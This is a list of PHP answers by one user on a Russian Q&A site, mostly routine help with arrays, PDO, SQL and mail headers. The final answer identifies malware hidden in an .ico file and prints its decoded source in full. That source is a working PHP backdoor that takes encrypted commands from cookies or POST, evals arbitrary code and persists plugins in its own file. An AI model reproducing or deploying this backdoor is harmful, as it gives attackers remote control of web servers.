Ответы пользователя по тегу PHP
  • Как с помощью цикла foreach или for занести данные из одного массива в другой для последующего вывода в XML?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    $result = array_map(function($el) {
      return [
        'tag' => 'marker',
        'attributes' => [
          'id' => $el['id'],
          'name' => $el['title'],
          'address' => 'Конюшенная',
          'lat' => $el['lat'],
          'lng' => $el['lng'],
          'type' => $el['category']
        ]
      ];
    }, $result);
    Ответ написан
    3 комментария
  • Как из массива получить список?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • PHP PDO Ошибка соединения с БД: SQLSTATE[HY000]: General error: could not call class constructor?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вы в дочернем классе user определили явный конструктор, поэтому конструктор родительского класса db автоматически не вызывается. Добавьте в конструктор класса user явный вызов parent::__construct();
    Ответ написан
  • Почему mysqli_query update $result = false?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • Почему обработчик не заносит данный в бд MY SQL?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Из форм значения полей передаются по атрибуту 'name', а не 'id'.
    И выбросьте свой учебник, в PHP 7.0 и выше функции mysql_ уже убраны. Используйте PDO или mysqli.
    Ответ написан
    1 комментарий
  • Как преобразовать число 7.220094E-8 в число без экспоненты?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    0.00000007220094
    Ответ написан
    Комментировать
  • Почему switch-case сравнивают с if/else?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    switch (true) {
      case ($x > 5):
        ...
        break;
      case ($x < 1):
        ...
        break;
      default:
        ...
    }
    Ответ написан
    Комментировать
  • Станное поведение strtotime в php, можно ли принять или пофиксить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Это просто неопределённость понятия "месяц назад". Попробуйте записать, какое число было месяц назад для:
    - 27 февраля
    - 28 февраля
    - 1 марта
    Ответ написан
    2 комментария
  • Как правильно передать переменную в запрос к БД?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Использовать подготовленные выражения с плейсхолдерами.
    Ответ написан
    Комментировать
  • Как округлить число до значащих цифр?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В общем случае - менять тип данных на DECIMAL.
    В частных, например с валютами, переходить к целым числам, то есть вместо рублей считать в копейках или долях копеек.
    Ответ написан
    Комментировать
  • DOCUMENT_ROOT в PHP 7+, как исправить ошибку?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вообще-то это предупреждение и в PHP 5 будет. Не определена константа DOCUMENT_ROOT, поэтому PHP предположил, что нужна строка 'DOCUMENT_ROOT'. Чтобы не было предупреждения - добавьте кавычки.
    Ответ написан
    4 комментария
  • Как добавить в строку данные через цикл?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что у вас закрывающий тэг не закрыт
    Ответ написан
    1 комментарий
  • Как работать с php и cron?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * 
      FROM `tasks` 
      WHERE `nextStartTime` < :currentTime;

    Выбираете все строки, запускаете задачи.
    Дальше либо задача удаляется, если разовая, либо обновляется время следующего запуска
    DELETE 
      FROM `tasks` 
      WHERE `nextStartTime` < :currentTime AND 0 = `interval`;
    UPDATE `tasks` 
      SET `nextStartTime` = `nextStartTime` + INTERVAL `interval` MINUTE 
      WHERE `nextStartTime` < :currentTime;
    Ответ написан
    4 комментария
  • Ошибка соединения с сервером. Попробуйте позже. Как исправить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А почему вы решили, что ошибка $db->query($query) вызвана именно отсутствием соединения с сервером?
    Ответ написан
    Комментировать
  • Почему mysql экранирует кавычки в json?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы передаёте не JSON, а строку. Если хотите, чтобы она воспринималась именно как JSON, укажите это явно через CAST('$jsArr' AS JSON).
    Ответ написан
    1 комментарий
  • Как исправить проблему с кодировкой?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту в заголовках письма должны использоваться только символы из основного ASCII-набора (0x00-0x7F). Все остальные символы должны быть закодированы.
    Если письмо содержит HTML-часть, то крайне желательно добавить соответствующую по тексту PLAIN-часть. Тип письма должен быть multipart/alternative.
    При несоблюдении этих условий резко возрастает вероятность попадания письма в спам.
    Кодировку лучше использовать UTF-8, как наиболее универсальную.
    $fromName = "=?UTF-8?B?" . base64_encode($fromName) . "?=";
    $toName = "=?UTF-8?B?" . base64_encode($toName) . "?=";
    $subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
    $boundary = md5(rand());
    $headers = "From: {$fromName} <${fromEmail}>\r\n".
               "MIME-Version: 1.0\r\n" .
               "Content-type: multipart/alternative; boundary={$boundary}\r\n"; 
    $message = "\r\n--{$boundary}\r\n" .
               "Content-Type: text/plain; charset=UTF-8\r\n\r\n" .
               $plainMessage .
               "\r\n--{$boundary}\r\n" .
               "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
               $htmlMessage .
               "\r\n--{$boundary}--\r\n";
    mail("{$toName} <{$toEmail}>", $subject, $message, $headers);
    Ответ написан
    Комментировать
  • Почему скрипт ничего не выводит?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы весь результат уже получили через get_result(), курсор в $stmt дошёл до конца. Теперь перебирайте $result его методами.
    Ответ написан
    Комментировать
  • Как узнать порядковый номер записи из выборки из двух таблиц?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо обернуть запрос ещё в один SELECT
    SET @row = 0;
    SELECT *, @row := @row + 1 AS `pos`
      FROM (
        SELECT `t1`.`id`, `t1`.`hm`, `t2`.`name`
          FROM (
            SELECT `target_id` AS `id`, SUM(`cnt`) AS `hm`
              FROM `votes`
              GROUP BY `target_id`
          ) AS `t1`
          JOIN `people` AS `t2` ON `t2`.`id` = `t1`.`id`
          ORDER BY `t1`.`hm` DESC, `t2`.`name` ASC 
          LIMIT 10
      ) AS `x`
    Ответ написан
    6 комментариев
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать